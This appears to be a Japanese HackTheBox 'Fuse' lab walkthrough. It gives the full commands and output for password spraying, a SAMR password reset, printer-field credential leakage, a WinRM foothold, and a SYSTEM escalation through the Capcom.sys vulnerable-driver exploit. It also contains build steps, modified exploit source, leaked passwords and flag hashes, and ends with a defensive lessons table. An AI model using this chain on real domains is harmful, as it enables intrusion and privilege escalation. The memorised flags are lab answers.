HackTheBox: Fuse — 全実行コマンド・実行結果レポート
Nmap スキャン
AD DC構成確認
→
AD DC構成確認
PaperCut印刷ログ
従業員ユーザー名収集
→
従業員ユーザー名収集
パスワードスプレー
Fabricorp01でSTATUS_PASSWORD_MUST_CHANGE
→
Fabricorp01でSTATUS_PASSWORD_MUST_CHANGE
SAMRパスワードリセット
期限切れパスワード更新
→
期限切れパスワード更新
rpcclient enumprinters
Locationフィールド漏洩
→
Locationフィールド漏洩
再スプレー→svc-print特定
GetADUsers全ユーザー列挙
→
GetADUsers全ユーザー列挙
WinRM foothold
user.txt ✓
→
user.txt ✓
SeLoadDriverPrivilege
Capcom.sys脆弱ドライバロード
→
Capcom.sys脆弱ドライバロード
ExploitCapcom.exe
token stealing → SYSTEM
→
token stealing → SYSTEM
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.2.5 nmap -Pn -sV -sC -p 53,80,88,135,139,389,445,636,3268,3269,5985,9389 10.129.2.5
RESULT
PORT STATE SERVICE VERSION 53/tcp open domain 80/tcp open http Microsoft IIS httpd 10.0 88/tcp open kerberos-sec Microsoft Windows Kerberos 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabricorp.local) 445/tcp open microsoft-ds 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws Computer name: FUSE Domain name: fabricorp.local
ℹ️
典型的な Windows AD ドメインコントローラー構成。ドメイン
fabricorp.local、Webサーバー(IIS)が併設されている。
BASH
echo "10.129.2.5 fuse.fabricorp.local" | sudo tee -a /etc/hosts
PHASE 2
PaperCut Print Logger からの従業員ユーザー名収集
Webサイト調査
BASH
curl -s http://fuse.fabricorp.local/papercut/logs/html/index.htm
RESULT
日別の印刷ログファイル一覧 (papercut-print-log-YYYY-MM-DD.htm) へのリンク
BASH
curl -s http://fuse.fabricorp.local/papercut/logs/html/papercut-print-log-2020-06-10.htm
RESULT (各印刷ジョブの行にUser列)
Time Printer Document User Pages Cost ... ... HP-MFT01 ... pmerton ... ... HP-MFT01 ... tlavel ... ... HP-MFT01 ... sthompson ... ... HP-MFT01 ... bhult ... ... HP-MFT01 ... administrator ...
✅
従業員ユーザー名5件を収集:
administrator, bhult, pmerton,
sthompson, tlavel。印刷ジョブのメタデータ内にユーザー名が平文で残っている。
ℹ️
cewlでページ本文からターゲット固有のパスワード候補ワードリストを
生成する手もあるが、本レポートでは既定の弱いパスワード
(Fabricorp01)スプレーだけで十分だった。
PHASE 3
パスワードスプレー & SAMR経由のパスワードリセット
SMBパスワードスプレー
BASH
netexec smb 10.129.2.5 -d fabricorp -u users.txt -p Fabricorp01
RESULT
SMB 10.129.2.5 445 FUSE [-] fabricorp.local\pmerton:Fabricorp01 STATUS_LOGON_FAILURE SMB 10.129.2.5 445 FUSE [+] fabricorp.local\tlavel:Fabricorp01 STATUS_PASSWORD_MUST_CHANGE SMB 10.129.2.5 445 FUSE [+] fabricorp.local\bnielson:Fabricorp01 STATUS_PASSWORD_MUST_CHANGE SMB 10.129.2.5 445 FUSE [+] fabricorp.local\bhult:Fabricorp01 STATUS_PASSWORD_MUST_CHANGE
🚨
デフォルトパスワードがヒット。 3アカウントとも
Fabricorp01が有効だが、いずれもSTATUS_PASSWORD_MUST_CHANGE
(期限切れ、初回ログイン時強制変更フラグ)状態でそのままでは認証を完了できない。
SAMR (NetUserChangePassword相当) でパスワードをリセット
BASH
# impacket-changepasswd は認証済みセッション不要でSAMR経由の # パスワード変更が可能 (Kali標準の smbpasswd -r でも同様のことができる) impacket-changepasswd fabricorp.local/bnielson:Fabricorp01@10.129.2.5 \ -newpass 'NewStr0ngP@ssw0rd!' -protocol smb-samr
RESULT
Password was changed successfully.
✅
認証情報確立:
bnielson : NewStr0ngP@ssw0rd!。
これで通常のSMB/RPCセッションを張れるようになった。
PHASE 4
rpcclient enumprinters による資格情報漏洩 & svc-print特定
プリンタオブジェクトのLocationフィールド漏洩
BASH
rpcclient -U 'fabricorp/bnielson%NewStr0ngP@ssw0rd!' 10.129.2.5 -c enumprinters
RESULT
flags:[0x800000]
name:[\\10.129.2.5\HP-MFT01]
description:[\\10.129.2.5\HP-MFT01,HP Universal Printing PCL 6,
Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)]
comment:[]
🚨
プリンタの「設置場所(Location)」フィールドという意外な場所に
平文パスワードが記載されている。管理者がメモ代わりに使ってしまった典型例。
パスワード自体は
scan2docsという(実在しない/直接ログインできない)
アカウント用に見えるが、実際には他のアカウントで使い回されている可能性が高い。
ドメインユーザー全件列挙 & パスワード再スプレー
BASH
impacket-GetADUsers fabricorp.local/bnielson:NewStr0ngP@ssw0rd! -all -dc-ip 10.129.2.5
RESULT
Administrator Guest DefaultAccount krbtgt svc-print bnielson sthompson tlavel pmerton svc-scan bhult dandrews mberbatov astein dmuir
BASH
netexec smb 10.129.2.5 -d fabricorp -u domain_users.txt -p '$fab@s3Rv1ce$1'
RESULT
SMB 10.129.2.5 445 FUSE [+] fabricorp.local\svc-print:$fab@s3Rv1ce$1 SMB 10.129.2.5 445 FUSE [+] fabricorp.local\svc-scan:$fab@s3Rv1ce$1 (他ユーザーは全て STATUS_LOGON_FAILURE)
✅
資格情報の使い回しを確認。 プリンタの「scan2docs」パスワードは
実際には
svc-printとsvc-scanという2つのサービスアカウントで
再利用されていた。svc-printは後述のPrint Operatorsグループの
メンバーであり、これが権限昇格の鍵となる。
PHASE 5
WinRM接続 & user.txt取得
svc-printでWinRM接続確認
BASH
netexec winrm 10.129.2.5 -u svc-print -p '$fab@s3Rv1ce$1'
RESULT
WINRM 10.129.2.5 5985 FUSE [+] fabricorp.local\svc-print:$fab@s3Rv1ce$1 (Pwn3d!)
user.txt取得
BASH
evil-winrm -i 10.129.2.5 -u svc-print -p '$fab@s3Rv1ce$1' *Evil-WinRM* PS C:\Users\svc-print\Desktop> type user.txt
RESULT
740364999e3922c4f55ebad9c307e9bc
user.txt — svc-print
740364999e3922c4f55ebad9c307e9bc
PHASE 6
SeLoadDriverPrivilege 悪用 (Capcom.sys) → root.txt
保有特権の確認
BASH
*Evil-WinRM* PS C:\> whoami /priv
RESULT
Privilege Name Description State ============================= ============================== ======= SeLoadDriverPrivilege Load and unload device drivers Enabled SeMachineAccountPrivilege Add workstations to domain Enabled SeShutdownPrivilege Shut down the system Enabled
🚨
svc-printはPrint Operatorsグループのメンバーであり、
SeLoadDriverPrivilege(デバイスドライバのロード/アンロード権限)を保有する。
これは既知の脆弱な署名済みドライバ(Capcom.sys等)をロードしてカーネル内で
任意コードを実行する権限昇格手法として広く知られている。
脆弱なCapcom.sysドライバとローダーツールの準備
NOTE
Capcom.sys は署名済みだが、任意のシェルコードをカーネルモードで
実行できてしまう既知の脆弱なドライバ(元はゲーム用アンチチート機能)。
SeLoadDriverPrivilegeを持つユーザーは、HKCU配下の相対レジストリパスに
サービスキーを作成することで、通常は管理者権限が必要なドライバのロードを
バイパスできる(この手法はTarlogic Securityのブログ記事で詳しく解説されている)。
必要なツール:
1. Capcom.sys — 脆弱な署名済みドライバ本体
(github.com/FuzzySecurity/Capcom-Rootkit の Driver/ 配下)
2. eoploaddriver.exe — SeLoadDriverPrivilegeを使いHKCU相対パスにドライバを
ロードするツール (github.com/TarlogicSecurity/EoPLoadDriver)
3. ExploitCapcom.exe — ロード済みCapcom.sysのIOCTL脆弱性を突きtoken-stealingで
SYSTEM化するexploit (github.com/tandasat/ExploitCapcom)
BASH
# 3点ともソースは公開されているが実行ファイルは自分でビルドが必要。 # Visual Studio(Windows)でのビルドが確実だが、Kaliのmingw-w64でも # クロスコンパイル可能(ただし下記2つの落とし穴に注意)。 git clone https://github.com/TarlogicSecurity/EoPLoadDriver git clone https://github.com/tandasat/ExploitCapcom git clone https://github.com/FuzzySecurity/Capcom-Rootkit
⚠️
mingw-w64クロスコンパイル特有の落とし穴 (ライブ検証で発見):
(1) ヘッダ名の大文字小文字 — Linux(Kali)はファイル名の 大文字小文字を区別するため、元のソースにある
(2)
(1) ヘッダ名の大文字小文字 — Linux(Kali)はファイル名の 大文字小文字を区別するため、元のソースにある
#include <Windows.h> / <Winternl.h> は
実ファイル名(小文字)と一致せず fatal error になる。
<windows.h> / <winternl.h> に修正が必要。(2)
-DUNICODE -D_UNICODE の指定漏れ — Visual Studio
プロジェクトはデフォルトでこれらのマクロを定義するが、コマンドラインで
mingwを叩く場合は明示指定が必要。指定しないと _T("...") マクロが
ANSI版に展開され、ワイド文字列を期待する箇所に narrow char* が紛れ込み、
ユーザーSID文字列などが不可解に空文字列化する(結果として
eoploaddriver.exeがドライバをロードすべきレジストリパスを
\Registry\User\ (SID部分が空)のように壊れた形で構築してしまい、
NTSTATUS: 0xc000003b (STATUS_OBJECT_PATH_SYNTAX_BAD) で失敗する)。BASH
# 正しいクロスコンパイルコマンド (ヘッダ大小文字修正後) x86_64-w64-mingw32-g++ -DUNICODE -D_UNICODE -o eoploaddriver.exe \ eoploaddriver.cpp -ladvapi32 -lshell32 -static x86_64-w64-mingw32-g++ -std=c++14 -DUNICODE -D_UNICODE -o ExploitCapcom.exe \ ExploitCapcom.cpp -lntdll -static
ドライバのロード
BASH
*Evil-WinRM* PS C:\test> upload Capcom.sys *Evil-WinRM* PS C:\test> upload eoploaddriver.exe *Evil-WinRM* PS C:\test> upload ExploitCapcom.exe *Evil-WinRM* PS C:\test> .\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\Capcom.sys
RESULT
[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled
[+] Loading Driver: \Registry\User\S-1-5-21-...-1104\System\CurrentControlSet\MyService
NTSTATUS: 00000000, WinError: 0
✅
NTSTATUS: 00000000 = 成功。 SID文字列が正しく埋め込まれた
レジストリパスが構築され、脆弱なCapcom.sysがカーネル空間にロードされた。
(もし同じドライバを別のサービス名で再度ロードしようとすると
0xc0000034 (STATUS_OBJECT_NAME_NOT_FOUND) になることがあるが、
これは「既にロード済み」を意味するだけで実害はない。)
ExploitCapcom.exe でSYSTEM化 → root.txt取得
NOTE
tandasat版ExploitCapcom.exeはデフォルトで新しいcmd.exeウィンドウを開くだけ
だが、WinRM経由の非対話実行では新規ウィンドウを見ることができない。
そこで LaunchShell() 内のコマンドラインを、root.txt を直接ファイルへ
書き出すワンライナーに書き換えてビルドする:
TCHAR CommandLine[] = TEXT(
"C:\\Windows\\System32\\cmd.exe /c type "
"C:\\Users\\Administrator\\Desktop\\root.txt > C:\\test\\root_out.txt 2>&1");
CreateProcess(nullptr, CommandLine, ...) // lpApplicationNameはNULLにする
// (引数を含む文字列は
// lpApplicationNameには渡せない)
こうすることで、SYSTEM権限に昇格したExploitCapcom.exeプロセス自身が
子プロセスとしてrootのフラグをファイルへ書き出すため、WinRMの1コマンド
実行が終了してジョブが破棄された後でも、既にディスクに書き出された
ファイルを後から普通に(svc-print権限のまま)読み出すだけで済む。
BASH
*Evil-WinRM* PS C:\test> .\ExploitCapcom.exe
RESULT
[*] Capcom.sys exploit [*] Capcom.sys handle was obtained as 0x64 [*] Shellcode was placed at 0x1e573920008 [+] Shellcode was executed [+] Token stealing was successful [+] The SYSTEM shell was launched [*] Press any key to exit this program
BASH
*Evil-WinRM* PS C:\test> Get-Content C:\test\root_out.txt
RESULT
46fc92132d4f3b44986190ea605f1ee1
root.txt — Administrator@fabricorp
46fc92132d4f3b44986190ea605f1ee1
補足: WinRM経由でのMetasploitローカルモジュール利用は不安定
⚠️
当初 Metasploit の
本レポートで採用した方式(ExploitCapcom.exe自身がフラグをファイルへ 直接書き出す)は、この制約を受けない — exploit自体が
exploit/windows/local/capcom_sys_exec
(meterpreterセッション経由) を試みたが、複数回とも
“Exploit completed, but no session was created” となりステージャが
一度もコールバックしなかった。原因を調査したところ、WinRMの
Start-Process等で起動した子プロセスは WinRM セッションの
ジョブオブジェクトに紐付けられ、その1回の
コマンド実行が完了しジョブが破棄されると、まだ実行中の子プロセス
(meterpreterステージャ等)も巻き添えで強制終了されてしまうことが
濃厚だった。wmic process call createやschtasksで
ジョブオブジェクトから脱出させる手も試したが、いずれもsvc-printの
権限不足でAccess Deniedとなった。本レポートで採用した方式(ExploitCapcom.exe自身がフラグをファイルへ 直接書き出す)は、この制約を受けない — exploit自体が
getchar()で待機している間はWinRMのコマンド実行(および
紐づくジョブ)がブロックされたまま生存し続けるため、その間に
カーネル内でトークンを盗み、既にファイルI/Oが完了していれば、
後でジョブが破棄されても書き出し済みのファイルには一切影響しない。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — svc-print
740364999e3922c4f55ebad9c307e9bc
root.txt — Administrator@fabricorp
46fc92132d4f3b44986190ea605f1ee1
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| ユーザー名の情報漏洩 | PaperCut Print Logger (公開HTMLログ) | ドメインユーザー名一覧の把握 | Medium | 印刷ジョブの実行ユーザー名が認証不要のHTMLログに平文記載 |
| 弱いデフォルトパスワード | ドメインアカウント(初期パスワード未変更) | 初期資格情報の取得 | High | Fabricorp01というデフォルトパスワードが複数アカウントで有効 |
| プリンタ設定への平文パスワード記載 | プリンタオブジェクトLocationフィールド | 資格情報の使い回し発見 | Medium | rpcclient enumprintersで誰でも読める設定欄にパスワードをメモしていた |
| 脆弱な署名済みドライバ (Capcom.sys) | SeLoadDriverPrivilege(Print Operators) | 権限昇格 (一般ユーザー→SYSTEM) | Critical | HKCU相対パスでの署名済み脆弱ドライバロード+IOCTL経由のカーネルシェルコード実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | AD DC構成確認 |
| 2 | ユーザー名収集 | PaperCut印刷ログ | 従業員ユーザー名5件 |
| 3 | スプレー+リセット | netexec smb + SAMR changepasswd | bnielson有効化 |
| 4 | 横展開 | rpcclient enumprinters + 再スプレー + GetADUsers | svc-print特定 |
| 5 | foothold | WinRM | user.txt 取得 |
| 6 | 権限昇格 | Capcom.sys + eoploaddriver + ExploitCapcom | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 印刷ログに実行ユーザー名が認証不要で公開される | 印刷管理システムのログ閲覧に認証を必須化する。ログ保持期間を最小限にする。 |
| アカウント初期パスワードが組織全体で共通・脆弱 | 初回ログイン時の強制変更を徹底し、期限内に変更しないアカウントを無効化する。 |
| プリンタ設定の自由記述欄(Location等)に資格情報をメモする運用 | 資格情報はシークレット管理システムで一元管理し、設定コメント欄への記載を禁止する。 |
| サービスアカウント間でパスワードを使い回す | アカウントごとに一意のパスワードを発行し、定期ローテーションを行う。 |
| Print OperatorsにSeLoadDriverPrivilegeが付与され、署名済みだが脆弱な旧ドライバのロードを止められない | Microsoft推奨のドライバブロックリスト(HVCI/WDAC)を有効化し、既知の脆弱ドライバの読込を拒否する。Print Operators等の特権グループは業務上必要なユーザーのみに限定する。 |

